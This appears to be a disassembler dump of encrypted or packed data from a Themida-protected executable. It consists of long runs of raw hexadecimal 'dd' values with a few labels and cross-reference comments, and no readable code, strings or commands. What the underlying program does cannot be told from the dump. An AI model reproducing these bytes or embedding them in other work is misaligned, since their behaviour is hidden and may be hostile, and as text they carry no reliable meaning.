		dd 0F92A73C6h, 0C0C39285h, 149DD4B7h, 0C9FC45A2h, 69ADA1B4h
		dd 5E292E15h, 84235D2Dh, 5B8CD537h, 3DCA3C46h, 0A0E96F8Bh
		dd 5847F1C1h, 6CB0F986h, 2C70DA79h, 0CDBA9514h,	46A3AC53h
		dd 0ADF53F0Fh, 0B63D9ACAh, 61F29F7Ch, 0C6FA0E9h, 0ACF05EF7h
		dd 0B63D8ABDh, 3143C97Ch, 0BFBF8BC9h, 0D714957Ch, 2DD83145h
		dd 400F4879h, 699CB2A3h, 94D0154h, 0B591E31Ah, 0A8A71C7Ch
		dd 0EA341A3Bh, 0BBFF5503h, 5ED43768h, 4374E277h, 0D1832B2Ah
		dd 8BD47ADBh, 0F618FE42h, 8168B0FAh, 0D476DDD7h, 0B0F43D90h
		dd 0C9CE4392h, 7CC58A14h, 4CCF364Bh, 0AFBCC359h, 1BD8D07Ch
		dd 0A1B3FDF5h, 0E920DAAAh, 86CE8A05h, 75A6EF42h, 0E91118FBh
		dd 91BBCB4h, 11506EFAh,	0FA91C2EFh, 98BCA3EDh, 0D4A0D0B3h
		dd 909DBB74h, 0E5701647h, 9985B5A4h, 2670788Eh,	0A76B2114h
		dd 7FB0206Fh, 0B7772205h, 0BF6C6548h, 2377BB99h, 0C0A51040h
		dd 0B7000D62h, 22442A6Eh, 6CF9DC26h, 406AA855h,	9DCDB0F8h
		dd 0A25D6234h, 3480B095h, 5DFB5D62h, 0F960B3F7h, 1724BBECh
		dd 0DF6FE6CDh, 90BE97ACh, 5C378A9Eh, 0D5D2F681h, 0AB0h
		dd 0F1243426h, 0A6D97DDCh, 5689C391h, 0A3D1741h, 0B9EC5EF5h
		dd 3C172685h, 91C6DB0Eh, 0DD798EC1h, 2A2B4073h,	228CF124h
		dd 0FF260F3Fh, 57580C23h, 0E0D27CD9h, 0C2A8DCDEh, 71252246h
		dd 6500000Ah, 1B3063F5h, 0D0E5183Eh, 8095C884h,	34497CD8h
		dd 0C4F82B1Fh, 4DFD56E7h, 52051Ah, 0B29EB8CDh, 63EB6A7Fh
		dd 7E61CB30h, 23FF264Eh, 0D996974Bh, 9B8ED27Ch,	364892B8h
		dd 90E9C9E3h, 0AD10419Dh, 3A4C0901h, 0B59CE42Eh, 6A7FB0A2h
		dd 23FA6F63h, 1AA51B28h, 0E5B780ABh, 0DE6EE6CDh, 838FA1ADh
		dd 4F075239h, 0D87B80Bh, 536D7F2Ah, 7659A1EAh, 0DDD36B46h
		dd 6E053643h, 11371D61h, 7587CF19h, 32268895h, 0BDE10E22h
		dd 0D505E832h, 0DADDD2B8h, 0FA879CCDh, 0D2E5BA69h, 0A0E46AEBh
		dd 78851C4Dh, 0CDD4E62Eh, 0C5B4C380h, 0CAA7449Ah, 0EA33AE62h
		dd 0F9B5A0B9h, 63ADF660h, 4677DB7Ch, 0D0866DE3h, 0B8E93C80h
		dd 0A698B69Fh, 0FC4ED50Eh, 9DC9C6EAh, 39000009h, 0EF043721h
		dd 0A4B9EC6Ah, 54699CB0h, 81D5004h, 98CCFF4Bh, 21292A33h
		dd 0D47ED9EEh, 86CA8CA1h, 37173E53h, 52359F04h,	23FF2722h
		dd 0D9727327h, 9B8ED27Ch, 0EF61F5BBh, 0DC0F58ABh, 97965466h
		dd 0E783B67Ch, 0BBD1A1B6h, 37591C15h, 0AE91B89Bh, 1C15BB7Eh
		dd 0E1256E7Bh, 0BB7AAA8Dh, 727F1C15h, 0B396E029h, 23FF4D74h
		dd 64E66D54h, 458F9C33h, 1CDCEBFDh, 93CDC2B2h, 420C4962h
		dd 0F35BFA0Fh, 0B397BCAFh, 7DD58269h, 41B5E639h, 5648084Eh
		dd 0BABEF874h, 16F6C90h, 0D5000009h, 8BA0D385h,	405588CEh
		dd 0F0053814h, 0A4B9EC68h, 34689BAFh, 0BD8DC697h, 70E2758Ah
		dd 222E283Dh, 0D37BDAEFh, 0EED13BA0h, 23FF26BEh, 780607BBh
		dd 5788C291h, 0F337173Eh, 0B09CB89Fh, 5FEF667Fh, 202D281Bh
		dd 158F0D3Dh, 0BC05121Ch, 7FD18578h, 0ABA4233Bh, 0E16EB3DEh
		dd 45325104h, 25D94BB0h, 91D57DDAh, 62ACF53Eh, 7CF09650h
		dd 79AA6F69h, 0E52A8216h, 3D515DBAh, 50000005h,	7EC8C0E6h
		dd 0FF205C9Bh, 4E313F23h, 23FF201Eh, 3F49C96Eh,	0E2493488h
		dd 0FA428CD5h, 0CC104613h, 262F4879h, 987FF528h, 0ED65F2BEh
		dd 0DC0D56A9h, 6BAFB3D0h, 6B18977Ch, 67E87B9Dh,	0BEEED119h
		dd 0BB9A9AFFh, 0FF9ACAADh, 929F9A9Ah, 28801849h, 4F233FEEh
		dd 57h,	0F8280B53h, 0F59A9B07h,	0E638B7E8h, 337BC5CDh
		dd 8ED808EBh, 5531C15h,	0AADBE84Fh, 158E6595h, 195D6A1Ch
		dd 7CF13A2Ah, 400FA23Ch, 54FA5B42h, 0FDD38B23h,	6C7E7DDDh
		dd 0CF19F5B3h, 3FDF10FAh, 13h, 21ECF3Eh, 0F2D90000h, 163D2366h
		dd 0C7119693h, 78CE4D7Eh, 5889C391h, 0E72B374Ch, 81FB13F8h
		dd 575FFA95h, 0C5095200h, 89CD85D2h, 94F15E05h,	3452FD90h
		dd 145074Dh, 0FA9ACAADh, 929F9581h, 28801849h, 7524D6CFh
		dd 468ACA8Eh, 74B0153h,	3E216BB4h, 9581EF0Eh, 2DCDFE0Bh
		dd 20h,	0C4CDE62Ch, 158EB1E1h, 58A1AE1Ch, 0FB212514h, 0D6699581h
		dd 0F3BDED79h, 6ABA24D6h, 0B9000000h, 7BC5CDE6h, 0D808EB33h
		dd 0D51C158Eh, 0D775DFC8h, 8E6191A6h, 515E1C15h, 1C382007h
		dd 65485D8h, 0FE6A619Ch, 3224351Ch, 0DB87C801h,	5DBADC83h
		dd 34A8h, 0CDE6A700h, 4C337BC5h, 15460Ah, 1C158ED2h, 0C3A7BECBh
		dd 9DB28BC9h, 0BA9F99D1h, 139E5Dh, 789D0000h, 5C8DC791h
		dd 14339h, 0FD5C4300h, 91C21559h, 0F1CF12h, 78D40000h
		dd 8F1D4D30h, 15221C15h, 17BBD8E4h, 0D9CC103Eh,	3D90D47Eh
		dd 7867ABF4h, 7165D29Fh, 0F36FE073h, 8EADCBBh, 0A8C0h
		dd 0CDE6BF00h, 8EB1E1C4h, 0A1AE1C15h, 0FB2B0E58h, 1C158Eh
		dd 7E61A9F3h, 1C158F4Eh, 990D3E4Bh, 35BB96AAh, 0D57FD93Ch
		dd 97B79E91h, 2728CF53h, 7082565Ah, 61E4C26Eh, 0C80132C1h
		dd 0C883DB87h, 4FA87D9Ah, 0A7000000h, 7BC5CDE6h, 44084C33h
		dd 99C9AC00h, 961C158Eh, 0FA0F4089h, 1C158ECAh,	2A7EC2CFh
		dd 0FC401643h, 4F6378A9h, 0B78935BCh, 765D2B24h, 0D82B6FDFh
		dd 0BB7BAB8Eh, 73808935h, 0B2F2AA42h, 579F309Ah, 35B44474h
		dd 0B3C4989h, 146Bh, 91786A00h,	75A588C3h, 7A1C158Eh, 0D0F3246Dh
		dd 64h,	0C39178D5h, 9BB7A089h, 4A04516Ah, 8CCBB206h, 4D8095C6h
		dd 911C158Fh, 79DC0946h, 0E627A2D5h, 0CAAEC5CDh, 46044F8Dh
		dd 7450F02h, 0B7983FC3h, 0BF9069CAh, 159C3026h,	7371A1Ch
		dd 41C159Ch, 0FCB392Ch,	6BB40B63h, 0BFE3BA22h, 0DC865DBAh
		dd 85FFFFFEh, 1D4D3078h, 221C158Fh, 7DC1E415h, 0C6000002h
		dd 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 42BB4CDFh,	851E520h
		dd 5AD4054Eh, 23292B12h, 6E9ADDF2h, 50FD23FAh, 0B4FE4703h
		dd 1141246Ch, 0E23FA6Eh, 6DEC1C01h, 44F123FAh, 0C1F23B0Fh
		dd 6E2A5E4Dh, 0A7AD23FAh, 0B9FD4F05h, 0E6D91D66h, 849CE070h
		dd 393D4A05h, 0EDBDA9A6h, 8A5A5E40h, 29h, 0C8C0E689h, 979C9B7Eh
		dd 727F23F9h, 78C8DA2Eh, 0B8414EA9h, 98CCE112h,	23F9A5h
		dd 0D686E26Dh, 555A5EB4h, 0A5h,	0C8917854h, 0C6F74A8Eh
		dd 62A6A8ADh, 1C66E46Fh, 0EA2E2035h, 0AFF361F7h, 6EE2135Ch
		dd 2A74DA7Bh, 0E8476218h, 0E3147243h, 74D97C6Fh, 166A6191h
		dd 8515E1Ch, 6F5FC4D5h,	87CE1C16h, 7A8C94C7h, 6A41246Eh
		dd 4523FD4Eh, 4C07EE38h, 6E55CBFEh, 1E3768E8h, 9D231535h
		dd 0E1BAC29Dh, 4DAC0BDh, 5EFC0000h, 0A7B2C7FAh,	0ED677CAFh
		dd 41172C5Fh, 88CBE013h, 705B8FC2h, 0B1E466EDh,	6497BB9Ch
		dd 1649074Fh, 0C7FA5401h, 0E515F862h, 0EA23FF2Bh, 7AD93536h
		dd 0B79F86D0h, 0B2F660F9h, 82E5165Fh, 3366E86Dh, 0D27CD9B8h
		dd 93BA9B8Eh, 158E80B0h, 27707D1Ch, 197CBDDh, 8B9FABA8h
		dd 2E5F6B3Eh, 0A5ADC3CBh, 0EC11785Bh, 717E23F9h, 0EB0C3E2Dh
		dd 0CA8F23F9h, 355488Ch, 0E2890D51h, 0B0F5206Dh, 86CFE19Fh
		dd 71E8C96h, 0EC020E3Fh, 6B529AE4h, 0CC1F63E9h,	0FA3CB7E7h
		dd 0BEA7B423h, 0A84B595h, 0DE59C027h, 6B9EAB2Bh, 0B0A54D63h
		dd 0F0675A9Eh, 86D01962h, 0FFD264A3h, 606F4723h, 82AAE683h
		dd 90D8226Bh, 0BFA2ADA9h, 23FEB98Fh, 5367F8Ch, 0B1E468ECh
		dd 0FEB976A0h, 0EF61F523h, 202993A5h, 85E0F49Fh, 0E6397DCFh
		dd 0EA096C9Dh, 62h, 8EA9DDEFh, 1B391C15h, 2F73E177h, 4B6093DCh
		dd 0ABFF4309h, 8F508063h, 404D1C15h, 8ECAFA0Fh,	5A361C15h
		dd 23292B12h, 77A78CDFh, 741C158Eh, 52FD3667h, 5A8DBF95h
		dd 0FB3F1145h, 158ED90Ch, 0ADA24D1Ch, 0E26F1640h, 0C06F68CAh
		dd 3EB4E730h, 0FDE313F6h, 0DBE81C15h, 0FD7EAE91h, 6E7B1C15h
		dd 7DD9BE3Dh, 0BA9C8FD3h, 0F45F5296h, 381F1256h, 3175DD7Ah
		dd 475195DEh, 0BBE6A3ACh, 0C4ABD976h, 748DBE92h, 0C53B6EE2h
		dd 1A3A7ADEh, 529BEE32h, 758ABB0Eh, 1C15A23Dh, 8D712890h
		dd 5EF85DBAh, 0F7FFFFFFh, 0EED17CD9h, 1C158EBEh, 0CC331D39h
		dd 3F3276BFh, 8F053816h, 47F1C17Dh, 70A102F0h, 0FC464264h
		dd 0F9CAD619h, 82CCD923h, 0D5AA2470h, 0E3BDD183h, 34A3E938h
		dd 0D62085A9h, 0F9E85C8Dh, 23FA1CC5h, 0B9B59A2Dh, 5A5E11E1h
		dd 1D8FC5ACh, 83D61A3Ch, 72A3F63Ah, 55D2h, 0C0E6D100h
		dd 53367EC8h, 1C158F23h, 78DE7B28h, 8498E134h, 0F3793C13h
		dd 79F324E2h, 0FA5C9796h, 8669B123h, 23FA5B56h,	19FC4653h
		dd 23FA5AE9h, 11A8D9E6h, 5AF02003h, 0E0ED23FAh,	0F0664D97h
		dd 0CCBB2F60h, 23FA5A98h, 86E26D00h, 5A5E6FD6h,	0D755h
		dd 7CD95400h, 0B89B8ED2h, 0FA5B4E92h, 9DB1A5B4h, 7FF5E69Fh
		dd 1357A00Fh, 0E6193520h, 15CB70D5h, 56F85D1Ch,	3C470E23h
		dd 0CEF942Fh, 1C15CBDCh, 47C0D4E1h, 8BCF18C4h, 71E783A5h
		dd 8509AE3h, 7CADDDC0h,	0ECCF1C16h, 1C167CBCh, 404DB4C1h
		dd 8BB3FA0Fh, 2E1523FAh, 62F92A2Ah, 0F41A2255h,	0F2CFB2FCh
		dd 6D2BE158h, 79BD99C0h, 0AC93DD26h, 5B70A3A7h,	766052F8h
		dd 8EC2A6D2h, 21A6D6Ah,	9EBC0000h, 0E77287BAh, 2D273C6Fh
		dd 81D7EC1Fh, 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch
		dd 0D609470Fh, 87BA94C1h, 0A5D5B822h, 0AA23FF2Dh, 7AD9F5F6h
		dd 474DC105h, 0B7008D5Fh, 30270E84h, 377BD382h,	4579BE4h
		dd 0B39BBAD3h, 7DD58269h, 5CFDE639h, 0EB66C9FAh, 7EC8C0E6h
		dd 0F9979C9Bh, 2E727F23h, 0F9980B3Fh, 8ACA8E23h, 4C025346h
		dd 0DE71F008h, 0E2C99DA1h, 0C9F9DC75h, 0C623F997h, 0D92C70B9h
		dd 84E06FA8h, 5A5EAAD4h, 0E753h, 0C70F5700h, 0F993B4E4h
		dd 0C7ACB923h, 23F99397h, 0D7568794h, 8ED27CD9h, 4E92B89Bh
		dd 8256E8FAh, 3AE9393Ch, 0A2EC351Dh, 16508FBFh,	4E7F8C1Ch
		dd 1655D439h, 321C391Ch, 436BEAFFh, 97BB9C12h, 5DEF654Eh
		dd 397DC619h, 0EB353D53h, 0FB5B4F04h, 75BE1155h, 33ADDE31h
		dd 0FA640950h, 7ED98623h, 0F43D90D4h, 554498AAh, 7520A4CAh
		dd 0B7D9E144h, 0CA8A71BBh, 0BAEB3E82h, 7F215D40h, 78862BE0h
		dd 187D6595h, 145D6A1Ch, 0DA70E3CAh, 35654890h,	3A1C187Eh
		dd 8499FC2Dh, 63897BCFh, 2FC2A5EEh, 0E60E0Bh, 6AF00000h
		dd 0B3A6BBEEh, 0F95B70A3h, 4D0B2053h, 94BFD407h, 6C4F83B6h
		dd 0A5D872E1h, 588BC790h, 0A3D1343h, 0BBEE60F5h, 0D909EC56h
		dd 0D623FF2Fh, 7AD92122h, 0CD889DD0h, 0C6D84E81h, 0DB6C6866h
		dd 4CCBFCE7h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h,	0FF20CB0Eh
		dd 5106ED23h, 6139D001h, 64CB19C5h, 2151348Eh, 1E23FEB3h
		dd 357FC811h, 13226223h, 0EBFB0F45h, 87FB2CF9h,	6AEDC194h
		dd 0FA58FFE8h, 0D1F67B1h, 3186F500h, 4D7D62F3h,	5223FEE9h
		dd 9CB11445h, 644B95B9h, 0BB2F60F4h, 0AE0062CCh, 2629D078h
		dd 7FB29CB9h, 1B332209h, 0E074E4D7h, 0EC00499Ch, 411D09B7h
		dd 486192D6h, 10F7410Dh, 67DB0C48h, 83D0E474h, 0D8212F27h
		dd 0A6414B8Fh, 35193CA9h, 0E668ED02h, 0EF674EA2h, 99CA1D61h
		dd 376h, 3A697B00h, 93D781D9h, 5599B5A0h, 185CF462h, 0DC203225h
		dd 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh,	0A8EC6AEFh
		dd 0E189516Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h
		dd 275Dh, 50241C89h, 405E089h, 83000000h, 48704E8h, 0C895C24h
		dd 0BA525024h, 5D927082h, 0BB5AD089h, 657C036Bh, 6858C329h
		dd 7394h, 81242489h, 42404h, 52590000h,	8BAh, 89CA0100h
		dd 24148B1Ah, 0FF04C483h, 81592434h
		dd 4C4h, 2434FF00h, 4C4835Bh, 0FBBC20E9h, 22B831FFh, 307E9A2h
		dd 5E0FFC5h, 0B9590493h, 2C4C6E91h, 5C6D3EE8h, 13281961h
		dd 4966A2DEh, 4F6657DBh, 0F77C403Bh, 7A0D0331h,	305D7FC4h
		dd 4E06A257h, 24267887h, 8E0E2A47h, 0EF05DEABh,	0E45B35CCh
		dd 0E35A1942h, 0E82A7E86h, 13h,	61C79BDh, 1ACE01CCh, 6C5A7736h
		dd 552D1A5Fh, 66F371EEh, 0F959F98Bh, 6DDEC181h,	60600000h
		dd 830Fh, 840F0000h, 0
		dd 0CE861h, 0D2850000h,	0F2A750C4h, 0BD8207B2h,	0BE88745h
		dd 0AC000000h, 33784922h, 6962E7B1h, 5B5FAC2Ch,	0BA61h
		dd 0CE810000h, 1833055Ch, 0F0A34FFh, 0C86h, 7E900h, 32240000h
		dd 7B91CBEBh, 8D0F58D4h, 3, 81FDD780h, 8C7CF0C0h, 0A8E88107h
		dd 604B05A1h, 61FEBF0Fh, 0E4D5F081h, 51606A5Eh,	8B5F6160h
		dd 48961CFh, 0FFB70F11h, 0B026BF66h, 6604EA83h,	0E35DC681h
		dd 92DCFA81h, 850FFFFFh, 0FFFFFFA4h, 0CDEEF381h, 0B0E924F7h
		dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 19D853Bh, 840F07E4h
		dd 36h,	1DE1853Bh, 840F07E4h, 2Ah, 0DE1853Bh, 840F07E4h
		dd 1Eh,	2255853Bh, 840F07E4h, 12h, 22ADBD83h, 0F0107E4h
		dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh,	784A8B00h
		dd 840FC985h, 49h, 0F8C281h, 728B0000h,	8BC8030Ch, 518B1C59h
		dd 8BD80314h, 0FC9850Bh, 1084h,	0FCE3B00h, 1782h, 0FCF3B00h
		dd 0F83h, 4C38300h, 0DC850F4Ah,	0E9FFFFFFh, 0Dh, 4FE79D8Dh
		dd 5B807E4h, 0FF000000h, 0BC361E3h, 13FE9D0h, 0F600000h
		dd 683h, 8B0F00h, 0E9000000h, 13h, 0A3DB8371h, 54D1D316h
		dd 6F5CC845h, 0D00935F5h, 616D2025h, 0A4EFB58Dh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 59446BC3h, 32E29120h, 0FE9E9h, 4A2F0000h, 4138D80Bh
		dd 0F6804BABh, 0AE556D4Bh, 17858D5Ah, 6A07E784h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 72AEC351h, 0F5D0FFF8h, 8C66F9C3h, 0AE9D9h, 6C6A0000h
		dd 1C4898Fh, 0B8BDC796h, 0F04C1F6h, 4E84h, 0DE96000h, 19000000h
		dd 85671DBh, 0D882984Dh, 0EECB6229h, 8B614AB7h,	32CB8BFBh
		dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
		dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh,	0FA75490Ah
		dd 1B8h, 8B09EB00h, 0B8E4EB00h,	0
		dd 0FF560CFh, 287h, 6189B700h, 569BB660h, 0FE9h, 0EB207300h
		dd 7ED2E721h, 0C307A9A4h, 0FB9D37EEh, 6A6159h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 8065C3h, 3885C782h, 3F07E9A5h, 0E8000101h, 0Bh, 0FB522869h
		dd 0D9A5918Dh, 0F01B051h, 665FF6BFh, 0C781F28Bh, 6732h
		dd 0AE8h, 0EC209E00h, 0A07D2ECFh, 0F4F02A7h, 187h, 0BB59F800h
		dd 5D5F9A47h, 7F53C381h, 0C880A2A0h, 0F9178BE1h, 2E4EEA81h
		dd 0CE8B1FE0h, 0DCBFF281h, 81664021h, 81B936EEh, 14C0D6EAh
		dd 9B86B959h, 8052305Bh, 78F49F0h, 6E9h, 6962E700h, 8350AC2Ch
		dd 4FFC02EFh, 850F4B4Fh, 2Bh, 0DE9h, 9DDD7600h,	0CF886F59h
		dd 0E6BF9E6Ah, 3BE98D46h, 24000000h, 2D8E32D9h,	0A1A217C1h
		dd 0CA1E6D4Ah, 289EFDE2h, 0E9CACEB1h, 9, 82379D5Bh, 0F03D010Dh
		dd 0FF83E904h, 273EFFFFh, 0C024B893h, 2E08A1F0h, 3A0E8760h
		db 0BAh, 7Ch
word_5DCB06	dw 3574h		; DATA XREF: Themida_:00583C6Co
		dd 8D8D7972h, 7E9A75Dh,	6D18D01h, 8D8907E4h, 7E41B71h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h
		dd 0AE984ABh, 51000000h, 152109C4h, 0C8599CE1h,	0A185C7A0h
		dd 0F007E42Dh, 6A000072h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0E1A2C352h,	63E76833h
		dd 0BE66C3A5h, 85C74B86h, 7E422B9h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6C35343h
		dd 12BF2A77h, 4CBA6610h, 11B5FF10h, 6A07E418h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0CE43C356h, 85895264h, 7E413B9h, 6195FF5Bh, 907E430h
		dd 0E417E1BDh, 0FF006A07h, 0E40E4195h
dword_5DCBE8	dd 0EBC08B07h, 0D1D0156Fh, 5F77219Bh, 3FDAA33Fh, 0F4EC9734h
					; DATA XREF: Themida_:00582B5Co
		dd 0F071AD74h, 1C9B6688h, 1C3B41A8h, 257AFA48h,	0B26FA382h
		dd 927595E2h, 0A1D45BCDh, 0A3A059C4h, 9650ED45h, 0EC1672C0h
		dd 3DA62D65h, 0DCFCC9CFh, 5037AB0Dh, 689A5350h,	0B86936C4h
		dd 52F57A2Ah, 84E733E6h, 0B1AB373Ch, 0D3B6E1EFh, 6F513E71h
		dd 808ABD0h, 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh,	60EBh
		dd 17h dup(0)
		dd 14E90000h, 0E900000Bh, 0B08h, 0E9B02F68h, 0D5B5E907h
		dd 5868FFFAh, 0E907E9B1h, 0FFFAD5ABh, 0E9B1AE68h, 0D5A1E907h
		dd 0D9B1FFFAh, 340D23B7h, 8E6A8014h, 0EBCAE074h, 522D43D7h
		dd 23C9A236h, 9F334F2Ah, 0FD91AF89h, 5FF309E7h,	0C0546C49h
		dd 1BE05D0Dh, 0B713AB08h, 668DA72h, 0CAB0CF41h,	56673C4Eh
		dd 0C8265E7Ch, 0BDC3E8C2h, 4A3C3C86h, 69BB40BDh, 0AE171442h
		dd 3AACFC55h, 6C986F2Bh, 688A9C20h, 4F2A7552h, 0D4A2DA33h
		dd 0DAA8E0F6h, 0DCAAE200h, 3395E501h, 4234C1B6h, 12248D14h
		dd 87A37E4Ch, 8EA2814Fh, 92AC8856h, 93B38C5Ah, 0A30B845Bh
		dd 93F2D653h, 178013ABh, 305029C7h, 97177D9Ch, 683E547h
		dd 13A89B71h, 696274DDh, 13A89B9Eh, 0ED8BDB44h,	0CDE7C312h
		dd 8FA1FA95h, 0FF1EFBC9h, 34108819h, 67FB543Dh,	2E795696h
		dd 68033B4Fh, 21AAC80Fh, 0FE18F492h, 67799972h,	165D5144h
		dd 9A957D4Eh, 5BE55FE5h, 78h, 0EAFEDD7Bh, 596B7F5Eh, 0B3309284h
		dd 1442A0CCh, 0EC0F218Ah, 92BE05A9h, 42A06E15h,	7150EC14h
		dd 0EB900D5Dh, 671442A0h, 925EA5FEh, 0C6FE18F4h, 0E23B192Bh
		dd 0D5D7D56h, 6779936Fh, 18F49292h, 192BC6FEh, 30920419h
		dd 38D7C3BEh, 0B41F1DAFh, 14429ECFh, 21597550h,	40CC3586h
		dd 78134B63h, 409466h, 0A81A0000h, 26F863AFh, 0DDA21F9Ah
		dd 7914426Ah, 0D0A5B710h, 1F66484Dh, 51CE3092h,	1442A0AAh
		dd 754FB828h, 49B4D9B8h, 5C23A0F0h, 0FA1442B2h,	0F1867F91h
		dd 1C1442B2h, 3992EE35h, 165D7D56h, 424D5B70h, 219F1C6Ch
		dd 7013A68Bh, 8CEA910Eh, 0FF6813A6h, 6DA50EEDh,	0A68C3FC0h
		dd 647A5813h, 37805E2Ch, 6F0A425Ah, 7AFDDE16h, 1D2E86CAh
		dd 53D03269h, 13A68CACh, 2061C12Ah, 5880DB28h, 0B6492436h
		dd 1FD87749h, 1CFh, 67474D48h, 0A0ED9A17h, 10791442h, 152D0AD8h
		dd 7956B081h, 21AA1A61h, 1F66484Dh, 9A957D4Eh, 5BE55FE5h
		dd 3Ah,	1B209284h, 0C2DC54D2h, 464F7284h, 0E43D5B35h, 6E15929Dh
		dd 0EC1442A0h, 30923C83h, 0E7D672BEh, 0C6D86E0Ah, 5D7D56F1h
		dd 0FB209216h, 394A3435h, 8BA0A0B2h, 579Eh, 484D2D00h
		dd 30921F66h, 42A0CCB3h, 5B714F14h, 0CE378823h,	9A61DEBCh
		dd 0F71442A0h, 0B1E9FFDDh, 0B6DBD16h, 42A0E98Eh, 0EFC96514h
		dd 0A5FE99D1h, 3992BE93h, 619F492h, 42A0F289h, 9EF76014h
		dd 9FB9CB66h, 705FA6C6h, 7552F052h, 1F8A255Dh, 1442A058h
		dd 0A67B8DF6h, 0F370474Dh, 1442A00Ch, 0B80861CAh, 0F1EBE456h
		dd 675B0FACh, 0EB35C55h, 0CE401442h, 561F508Ah,	698761FDh
		dd 2B3D9631h, 2193E34Ch, 0EBC864B9h, 0E5FD73D3h, 3D0BD1E3h
		dd 0DAB44860h, 5AE89168h, 11ECCF3Fh, 9B71E2F4h,	0F5CADC35h
		dd 115F492h, 21C2EC9h, 0AAC60D25h, 0B9209221h, 934CF2B3h
		dd 9AFB1E30h, 7D4ECD14h, 5FE59A95h, 545BE5h, 4D840000h
		dd 921F6648h, 9CB69230h, 0BEB7C964h, 1442A039h,	92E52C95h
		dd 99B99230h, 7D56B287h, 0C13E4D2Ah, 1442A03Ah,	7DD62F98h
		dd 64B58F2Dh, 9A356D89h, 0E26E0941h, 16B1E909h,	20922F04h
		dd 7D1F58E6h, 0A9A9BB86h, 539E94h, 86240000h, 0BC578FABh
		dd 3092D5AAh, 42A0CCB3h, 13EE8A14h, 0CB24BFF7h,	0AFFF96B9h
		dd 0CDE3C15Fh, 1592E6BBh, 1442A06Eh, 927DC4ABh,	0AA51CE30h
		dd 281442A0h, 92D8ADBFh, 0A0CCB330h, 218A1442h,	0FC1CF50Fh
		dd 1C2092B5h, 0A538557Fh, 82BAD2AFh, 7C7C8EE7h,	0DD9E67h
		dd 922D0000h, 0A0CCB330h, 714F1442h, 3788235Bh,	0FB99BCCEh
		dd 2A8AA480h, 112D0CE0h, 0C2126B4Eh, 4276B645h,	0D6B32514h
		dd 0B2C63501h, 0D63F1E30h, 0DBF3D09Eh, 0D7AC298Bh, 831442DFh
		dd 15E6081Ah, 0FB1BF492h, 0FC1628C3h, 92C0071Fh, 2F38F620h
		dd 13EC3EC1h, 0C720BBF3h, 4D66EFB5h, 78166648h,	0AD48809Eh
		dd 0F492C69Bh, 7D9BFB1Bh, 0E728ACF2h, 7B4C6E80h, 5FE59A95h
		dd 2A5BE5h, 4D840000h, 921F6648h, 42A06E15h, 3C83EC14h
		dd 7D563992h, 5270165Dh, 88C0D6B4h, 0A7BEE2E6h,	90E9039Bh
		dd 389EA97Eh, 2D000000h, 1666484Dh, 4A829C78h, 92C89DAFh
		dd 0C3FB1BF4h, 0C80018F5h, 0E4C2D42Dh, 42A09067h, 0CF16FD14h
		dd 7D563992h, 2EAB0D5Dh, 1442A049h, 9DD5EDCAh, 3648B102h
		dd 565B7061h, 5B296179h, 0BDD3677Dh, 0E390C8E0h, 1442A01Ah
		dd 9689BD94h, 0F70DA1B9h, 38CA021Ah, 3F5F38D6h,	42A02FD4h
		dd 4D3BAB14h, 0AB9BC27h, 9BC6D831h, 0D292F7A4h,	0E2768E6Bh
		dd 92E2CCC3h, 0A6419715h, 447CE513h, 0A656E497h, 12526313h
		dd 771B956Ah, 8A6503D8h, 2FBD5C6Eh, 0E6000000h,	0FC1AF492h
		dd 0DBF3D0EAh, 3DAF11A3h, 36E19A6Eh, 0F68DF8E0h, 64144224h
		dd 0BF0E9FBh, 0A3144224h, 0C8A598CCh, 0E9C260B0h, 0E4F691C9h
		dd 7956F1C2h, 0A016ED6Ah, 5BC41442h, 9CF3CA02h,	9145C212h
		dd 4313AB08h, 0FA6C46DAh, 70D78AEAh, 0E90C1E11h, 56B808A6h
		dd 0DAFF19E4h, 64B4DA00h, 0ABBA10E7h, 4355BE13h, 4F914C4Ah
		dd 79B11A14h, 730885E7h, 0DF1B8FE6h, 0F70BEA76h, 0E613ECE5h
		dd 0A7B81B8Fh, 0DD5ABCFFh, 1B8FE626h, 5E394BB4h, 0D08ECBA1h
		dd 657B59F7h, 1CB453h, 4DDD0000h, 9A176747h, 1442A0F5h
		dd 66C81881h, 0C2D4EAC8h, 1EB2CCA8h, 1250h, 474DDF00h
		dd 0F19A1767h, 7D1442A0h, 4A26C414h, 9ECB9C30h,	19Bh, 69454D2Dh
		dd 0A618AA22h, 4D698C24h, 380D1FB8h, 532E7956h,	4E97DE37h
		dd 0E59A957Dh, 465BE55Fh, 84000000h, 115F492h, 0E8C6CCEFh
		dd 6E1592A1h, 0EC1442A0h, 6D527550h, 0F42A0A85h, 458CE53Eh
		dd 30CE3092h, 65003856h, 42A005FAh, 0DC68D114h,	0FED3E501h
		dd 19607A56h, 0B7342092h, 9976BF6Dh, 9E728787h,	57h, 1BF4922Dh
		dd 9DD5E9C8h, 0D671A902h, 0BDF1A1C4h, 83209276h, 5605BCF2h
		dd 2B8D6B7Dh, 5A8DB48Dh, 43826D52h, 0F8F1035Ch,	1442A403h
		dd 0B957A78Eh, 0D9AEC0E0h, 20923992h, 0E6127BD9h, 0DEF80AFFh
		dd 92A1E802h, 0EE0016F4h, 0F16ED0EEh, 1442A00Ah, 4596B28Dh
		dd 56F5CADCh, 0AA1A6179h, 66484D21h, 927D4E1Fh,	9DFD19F4h
